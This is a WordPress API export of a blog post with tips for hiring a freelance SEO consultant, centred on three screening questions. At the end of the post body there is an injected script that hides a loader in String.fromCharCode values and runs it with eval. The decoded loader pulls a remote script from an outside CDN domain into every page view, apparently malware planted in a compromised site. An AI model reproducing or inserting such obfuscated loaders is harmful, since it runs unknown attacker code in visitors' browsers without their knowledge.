{"id":6090,"date":"2023-06-09T10:56:30","date_gmt":"2023-06-09T10:56:30","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide\/"},"modified":"2023-06-09T10:56:30","modified_gmt":"2023-06-09T10:56:30","slug":"how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide\/","title":{"rendered":"How to hire a freelance SEO consultant: the SEO consultant selection guide"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide\/#How_to_hire_a_freelance_SEO_consultant\" title=\"How to hire a freelance SEO consultant\">How to hire a freelance SEO consultant<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide\/#%E2%80%9CCan_you_guarantee_that_my_website_will_rank_1%E2%80%9D\" title=\"\u201cCan you guarantee that my website will rank #1?\u201d\">\u201cCan you guarantee that my website will rank #1?\u201d<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide\/#%E2%80%9CHow_do_you_plan_on_improving_my_search_engine_ranking%E2%80%9D\" title=\"\u201cHow do you plan on improving my search engine ranking?\u201d\">\u201cHow do you plan on improving my search engine ranking?\u201d<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/how-to-hire-a-freelance-seo-consultant-the-seo-consultant-selection-guide\/#%E2%80%9CMay_I_have_a_list_of_clients_youve_worked_for_before%E2%80%9D\" title=\"\u201cMay I have a list of clients you\u2019ve worked for before?\u201d\">\u201cMay I have a list of clients you\u2019ve worked for before?\u201d<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-full wp-image-2358&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/05\/How-to-hire-a-freelance-SEO-consultant.jpg&quot; alt=&quot;How to hire a freelance SEO consultant&quot; width=&quot;1200&quot; height=&quot;800&quot; \/><\/p>\n<p>Search Engine Optimization\u00a0refers to any activity that is intended to improve a website\u2019s ranking in search results. Websites that rank higher in search results are perceived to be more credible, and websites that rank on the second page are often perceived to be less reliable.<\/p>\n<p>This perceived level of reliability often translates into traffic. Websites that enjoy a high level of exposure are greatly valued, as it becomes a great platform to market your brand, products, and services.<\/p>\n<p>SEO has been recognized as one of the most useful, if not the most useful, tools in any website owner\u2019s arsenal. Every internet-savvy user is aware of this and as a result, SEO consulting has become one of the most lucrative fields to pursue.<\/p>\n<p>But, in the same manner that page 2 search results are perceived to be less credible, there will always be people who claim to be professional SEO consultants who aren\u2019t truly qualified.<\/p>\n<p>These \u201cSEO consultants\u201d will often employ black hat SEO techniques that could land your website in lower rankings, or worse, in search result limbo (where your website doesn\u2019t even get indexed at all).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_hire_a_freelance_SEO_consultant\"><\/span>How to hire a freelance SEO consultant<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>So, how do you weed out the bad from the legitimate?\u00a0<b>Simple. Ask your candidates the right questions<\/b>:<br \/>\n<i><\/i><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%E2%80%9CCan_you_guarantee_that_my_website_will_rank_1%E2%80%9D\"><\/span><i>\u201cCan you guarantee that my website will rank #1?\u201d<\/i><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This trick question should always be the first you ask because this helps weed out scammers.<\/p>\n<p>A scammer would always make things sound too good to be true \u2014 a guaranteed top search result ranking is a red flag and you should end the interview there and then.<\/p>\n<p>This is because nobody but Google, Yahoo!, and Bing have control over website rankings, even if the candidate claims that he\/she has inside connections with these companies.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%E2%80%9CHow_do_you_plan_on_improving_my_search_engine_ranking%E2%80%9D\"><\/span><i>\u201cHow do you plan on improving my search engine ranking?\u201d<\/i><i><br \/>\n<\/i><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The answer to this question will often give you an insight on a particular candidate\u2019s mastery of SEO and whether or not a candidate adheres to search engine ranking guidelines. Remember that black hat SEO practices will get your website in trouble.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%E2%80%9CMay_I_have_a_list_of_clients_youve_worked_for_before%E2%80%9D\"><\/span><i>\u201cMay I have a list of clients you\u2019ve worked for before?\u201d<\/i><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is a must if you want to be able to perform a thorough background check. While this information will often be standard recruitment practice, it would be good to see if the candidate is being truthful with his resume without having to email a bunch of websites in order to get confirmation.<\/p>\n<p>Apart from that, you can also gauge the effectiveness of the candidate\u2019s optimization by checking the sites that he\u2019s worked on. You can see if his optimizations are a good investment in the long run. Some SEO consultants may get you good results for a few months and then your website plummets after that honeymoon phase.<\/p>\n<p>You\u2019re going to want to make good investments, and SEO is one of them.<\/p>\n<p>Now, if you\u2019re dealing with an SEO company, apart from asking these questions, you can also gauge them by looking them up on\u00a0BestSEOCompanies.com. This should give you insight on how well the company actually performs versus what they claim.<\/p>\n<p>SEO is a serious investment of time, money, and energy. It is imperative that you make your investment count. Take the time to screen every candidate and remember to always be on the lookout for red flags.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Search Engine Optimization\u00a0refers to any activity that is intended to improve a website\u2019s ranking in search results. Websites that rank higher in search results are perceived to be more credible, and websites that rank on the second page are often perceived to be less reliable. This perceived level of reliability often translates into traffic. Websites [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6090","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6090"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6090"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6090\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6090"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6090"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6090"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}